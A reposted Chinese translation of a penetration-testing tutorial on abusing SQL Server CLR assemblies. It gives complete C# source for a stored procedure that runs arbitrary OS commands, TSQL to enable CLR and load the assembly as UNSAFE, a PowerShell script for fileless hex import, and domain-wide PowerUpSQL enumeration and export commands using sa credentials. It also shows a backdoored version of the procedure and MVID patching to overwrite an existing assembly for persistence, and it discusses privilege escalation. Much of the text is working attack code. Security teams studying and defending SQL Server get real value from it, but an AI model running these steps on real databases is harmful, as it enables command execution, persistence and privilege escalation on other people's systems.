Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】攻击SQL Server CLR程序集

0
0
【技术分享】攻击SQL Server CLR程序集

2017-08-03 15:13:54

阅读:842次
点赞(0)
收藏
来源: netspi.com





【技术分享】攻击SQL Server CLR程序集

作者:兄弟要碟吗





【技术分享】攻击SQL Server CLR程序集

译者:兄弟要碟吗

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在这个博客中,我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。我将介绍如何创建,导入,导出和修改SQL Server中的CLR程序集,以达到提升权限,执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active Directory环境中更大规模执行(批量)CLR攻击的技巧。

什么是SQL Server中的自定义CLR程序集?

为了这个博客可以更好的说明,我们将定义一个公共语言运行库(CLR)组件作为一个.NET的DLL(或一组DLL)可以导入到SQL服务器。一旦导入,DLL方法就可以链接到存储过程,并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本地功能的一个很好的方式,但自然也为攻击者创造了机会。


如何为SQL Server定制一个自定义的CLR DLL?

下面是根据Nathan Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改,当你修改完毕后将文件保存至“c:\temp\cmd_exec.cs”。

usingSystem; usingSystem.Data; usingSystem.Data.SqlClient; usingSystem.Data.SqlTypes; usingMicrosoft.SqlServer.Server; usingSystem.IO; usingSystem.Diagnostics; usingSystem.Text; publicpartialclassStoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidcmd_exec(SqlStringexecCommand) { Processproc=newProcess(); proc.StartInfo.FileName=@"C:\windows\System32\cmd.exe"; proc.StartInfo.Arguments=string.Format(@"/C{0}",execCommand.Value); proc.StartInfo.UseShellExecute=false; proc.StartInfo.RedirectStandardOutput=true; proc.Start(); //Createtherecordandspecifythemetadataforthecolumns. SqlDataRecordrecord=newSqlDataRecord(newSqlMetaData("output",SqlDbType.NVarChar,4000)); //Markthebeginningoftheresultset. SqlContext.Pipe.SendResultsStart(record); //Setvaluesforeachcolumnintherow record.SetString(0,proc.StandardOutput.ReadToEnd().ToString()); //Sendtherowbacktotheclient. SqlContext.Pipe.SendResultsRow(record); //Marktheendoftheresultset. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } };

现在我们使用csc.exe将“c:\temp\cmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual Studio,csc.exe编译器是附带.NET框架的,我们使用下面的PowerShell命令来找到它。

Get-ChildItem-Recurse"C:\Windows\Microsoft.NET\"-Filter"csc.exe"|Sort-Objectfullname-Descending|Select-Objectfullname-First1-ExpandPropertyfullname

如果你找到了csc.exe,你可以使用下面的命令将“c:\temp\cmd_exec.cs”编译成dll文件。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe/target:libraryc:\temp\cmd_exec.cs
如何导入我的CLR DLL到SQL Server?

要将dll导入SqlServer,需要SQL登录的权限为sysadmin,有CREATE ASSEMBLY权限或ALTER ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程,以便使用TSQL执行cmd_exec方法。

以sysadmin身份登录到SqlServer,并用下面TSQL查询:

--Selectthemsdbdatabase usemsdb --Enableshowadvancedoptionsontheserver sp_configure'showadvancedoptions',1 RECONFIGURE GO --Enableclrontheserver sp_configure'clrenabled',1 RECONFIGURE GO --Importtheassembly CREATEASSEMBLYmy_assembly FROM'c:\temp\cmd_exec.dll' WITHPERMISSION_SET=UNSAFE; --Linktheassemblytoastoredprocedure CREATEPROCEDURE[dbo].[cmd_exec]@execCommandNVARCHAR(4000)ASEXTERNALNAME[my_assembly].[StoredProcedures].[cmd_exec]; GO

现在,你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了,如下面的示例所示。


【技术分享】攻击SQL Server CLR程序集

完成后你可以使用下面的sql语句删掉该过程和程序集


如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?

CLR程序集导入SQLServer时不必一定要引用一个dll文件,“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR DLL文件。下面是一个PowerShell脚本示例,演示了如何将你的“cmd_exec.dll”文件转换到sql命令中,它可以用来创建没有物理文件引用的程序集。

#Targetfile $assemblyFile="c:\temp\cmd_exec.dll" #BuildtopofTSQLCREATEASSEMBLYstatement $stringBuilder=New-Object-TypeSystem.Text.StringBuilder $stringBuilder.Append("CREATEASSEMBLY[my_assembly]AUTHORIZATION[dbo]FROM`n0x")|Out-Null #Readbytesfromfile $fileStream=[IO.File]::OpenRead($assemblyFile) while(($byte=$fileStream.ReadByte())-gt-1){ $stringBuilder.Append($byte.ToString("X2"))|Out-Null } #BuildbottomofTSQLCREATEASSEMBLYstatement $stringBuilder.AppendLine("`nWITHPERMISSION_SET=UNSAFE")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Buildcreateprocedurecommand $stringBuilder.AppendLine("CREATEPROCEDURE[dbo].[cmd_exec]@execCommandNVARCHAR(4000)ASEXTERNALNAME[my_assembly].[StoredProcedures].[cmd_exec];")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Createrunoscommand $stringBuilder.AppendLine("EXEC[dbo].[cmd_exec]'whoami'")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Createfilecontainingallcommands $stringBuilder.ToString()-join""|Out-Filec:\temp\cmd_exec.txt

如果一切顺利“c:\temp\cmd_exec.txt”文件应该包含以下SQL语句。在该示例中,十六进制字符串已被截断,但是你的长度应该更长。

--SelecttheMSDBdatabase USEmsdb --Enableclrontheserver Sp_Configure'clrenabled',1 RECONFIGURE GO --Createassemblyfromasciihex CREATEASSEMBLY[my_assembly]AUTHORIZATION[dbo]FROM 0x4D5A90000300000004000000F[TRUNCATED] WITHPERMISSION_SET=UNSAFE GO --Createproceduresfromtheassemblymethodcmd_exec CREATEPROCEDURE[dbo].[my_assembly]@execCommandNVARCHAR(4000)ASEXTERNALNAME[cmd_exec].[StoredProcedures].[cmd_exec]; GO --RunanOScommandastheSQLServerserviceaccount EXEC[dbo].[cmd_exec]'whoami' GO

当你用sysadmin权限在SqlServer中运行“c:\temp\cmd_exec.txt”的sql语句时,输出应该如下所示:


【技术分享】攻击SQL Server CLR程序集

PowerUpSQL自动化

你可以在使用PowerUpSQL之前,访问此链接了解PowerUpSQL

我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。 它还支持设置自定义的程序集名称,类名称,方法名称和存储过程名称。 如果没有指定设置,那么它们都是随机的。 以下是一个基本的命令示例:

PSC:\temp>Create-SQLFileCLRDll-ProcedureName"runcmd"-OutFileruncmd-OutDirc:\temp C#File:c:\temp\runcmd.csc CLRDLL:c:\temp\runcmd.dll SQLCmd:c:\temp\runcmd.txt

以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例,在实验室中使用CLR组件时,可以派上用场。

1..10|%{Create-SQLFileCLRDll-Verbose-ProcedureNamemyfile$_-OutDirc:\temp-OutFilemyfile$_}

如何列出现有的CLR程序集和CLR存储过程?

你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置,或者寻找现有的用户自定义的CLR程序集。

USEmsdb; SELECTSCHEMA_NAME(so.[schema_id])AS[schema_name], af.file_id, af.name+'.dll'as[file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.nameAS[assembly_name], am.assembly_class, am.assembly_method, so.object_idas[sp_object_id], so.nameAS[sp_name], so.[type]as[sp_type], asmbly.permission_set_desc, asmbly.create_date, asmbly.modify_date, af.content FROMsys.assembly_modulesam INNERJOINsys.assembliesasmbly ONasmbly.assembly_id=am.assembly_id INNERJOINsys.assembly_filesaf ONasmbly.assembly_id=af.assembly_id INNERJOINsys.objectsso ONso.[object_id]=am.[object_id]

使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。


【技术分享】攻击SQL Server CLR程序集

如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询,那么你应该在你的查询结果中看到“my_assembly”,你还将看到这些程序集相关的程序集信息。


PowerUpSQL自动化

我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能,它将迭代可访问的数据库,并提供每个数据库的程序集信息。 以下是一个命令示例:

Get-SQLStoredProcedureCLR-Verbose-InstancemssqlSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Out-GridView

你还可以使用以下命令对所有域内的SQL Server执行此操作(前提是你拥有正确的权限)。

Get-SQLInstanceDomain-Verbose|Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

映射程序参数

攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此,定位和逆向这些程序集也是很有必要的,有时这些程序集会有权限提升的bug。例如,如果我们的程序集已经存在,我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩,让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数

SELECTpr.nameasprocname, pa.nameasparam_name, TYPE_NAME(system_type_id)asType, pa.max_length, pa.has_default_value, pa.is_nullable FROMsys.all_parameterspaINNERJOINsys.procedurespronpa.object_id=pr.object_idWHEREpr.typelike'pc'andpr.namelike'cmd_exec'
【技术分享】攻击SQL Server CLR程序集

在这个例子中,我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。


如何将SQL Server中存在的CLR程序集导出到DLL?

在SqlServer中,我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先,我们必须识别程序集,然后将它们导出到dll,并且对它们进行反编译以便进行源码分析(或修改为注入后门程序)。


PowerUpSQL自动化

在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。

Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

它存在一个“ExportFolder”选项,我们可以设置它,这个功能将会把程序集dll导出到文件夹,以下是一个命令示例:

Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-ExportFolderc:\temp-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

【技术分享】攻击SQL Server CLR程序集

如果你是域用户,并且权限是sysadmin,还可以使用下面的命令导出CLR DLL

Get-SQLInstanceDomain-Verbose|Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'-ExportFolderc:\temp|Format-Table-AutoSize Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。
【技术分享】攻击SQL Server CLR程序集

然后你可以使用你喜欢的反编译器查看源代码。在过去一年中,我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。


如何修改CLR DLL并覆盖已经导入SQL Server的程序集?

以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR DLL,你可以在这里下载dnSpy。

本次练习我们将修改从SQL Server导出的cmd_exec.dll

1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中,向下选择,直到找到“cmd_exec”方法并选择它,你可以立马看到它的源码并寻找bug。

【技术分享】攻击SQL Server CLR程序集
2.接下来,右键单击包含源代码的右侧面板,然后选择“Edit Method (C#)...”

【技术分享】攻击SQL Server CLR程序集

3.编辑你想编辑的代码,在这个例子中,我添加了一个简单的“后门”,每次调用“cmd_exec”方法时,都会向“C:\temp”目录中添加文件。示例代码和屏幕截图如下。

publicstaticvoidcmd_exec(SqlStringexecCommand){ Processexpr_05=newProcess(); expr_05.StartInfo.FileName="C:\\Windows\\System32\\cmd.exe"; expr_05.StartInfo.Arguments=string.Format("/C{0}",execCommand.Value); expr_05.StartInfo.UseShellExecute=true; expr_05.Start(); expr_05.WaitForExit(); expr_05.Close(); Processexpr_54=newProcess(); expr_54.StartInfo.FileName="C:\\Windows\\System32\\cmd.exe"; expr_54.StartInfo.Arguments=string.Format("/C'whoami>c:\\temp\\clr_backdoor.txt",execCommand.Value); expr_54.StartInfo.UseShellExecute=true; expr_54.Start(); expr_54.WaitForExit(); expr_54.Close(); }
【技术分享】攻击SQL Server CLR程序集

4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module....然后点击确定


【技术分享】攻击SQL Server CLR程序集
根据这篇Microsoft的文章,在每次编译CLR时,都会生成一个唯一的GUID并将其嵌入到文件头中,以便用来区分同一文件的两个版本。这被称为MVID(模块版本ID)。要覆盖已经导入到SQLServer的现有CLR,我们必须手动修改MVID。以下是一个概述。

1.在dnSpy中打开“cmd_exec”,如果它还没有被打开,向下选择PE部分并选择“#GUID”存储流。然后右键单击它,然后选择“Show Data in Hex Editor”。


【技术分享】攻击SQL Server CLR程序集

2.接下来,我们需要用任意值修改所选字节之一


【技术分享】攻击SQL Server CLR程序集

3.从顶部菜单中选择文件,然后选择“Save Module...”


【技术分享】攻击SQL Server CLR程序集

PowerShell自动化

你可以使用我之前提供的原始PowerShell命令,也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节,并生成ALTER语句。

PSC:\temp>Create-SQLFileCLRDll-Verbose-SourceDllPath.\cmd_exec.dll VERBOSE:TargetC#File:NA VERBOSE:TargetDLLFile:.\cmd_exec.dll VERBOSE:Grabbingbytesfromthedll VERBOSE:WritingSQLto:C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt C#File:NA CLRDLL:.\cmd_exec.dll SQLCmd:C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt

新的cmd_exec.txt内容看起来应该像下面的语句

--Choosethemsdbdatabase usemsdb --AltertheexistingCLRassembly ALTERASSEMBLY[my_assembly]FROM 0x4D5A90000300000004000000F[TRUNCATED] WITHPERMISSION_SET=UNSAFE GO

ALTER语句用于替换现有的CLR而不是DROP和CREATE。正如微软所说的那样:“ALTER ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。所以,总而言之,什么都没有发生。TSQL查询执行应该看起来像下面的截图:


【技术分享】攻击SQL Server CLR程序集

要检查代码修改是否有效,请运行“cmd_exec”存储过程,并验证是否已创建“C:\temp\backdoor.txt”文件。


我可以使用自定义CLR升级SQL Server中的权限吗?

答案是肯定的,但有一些苛刻的条件必须要满足。

如果你的SQL Server不是以sysadmin登录的,但具有CREATE或ALTER ASSEMBLY权限,则可以使用自定义CLR获取sysadmin权限,该自定义CLR将在SQL Server服务帐户(由sysadmin默认)。但是,要成功创建CLR程序集的数据库,必须将'is_trustworthy'标志设置为'1'并启用'clr enabled'服务器设置。默认情况下,只有msdb数据库是可靠的,并且禁用“clr enabled”设置。

我从来没有看到明确分配给SQL登录的CREATE或ALTER ASSEMBLY权限。但是,我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色,并且具有“ALTER ASSEMBLY”权限。

注意:SQL Server 2017引入了“clr strict security”配置。 Microsoft文档规定,需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。



【技术分享】攻击SQL Server CLR程序集
【技术分享】攻击SQL Server CLR程序集
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.netspi.com/attacking-sql-server-clr-assemblies/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images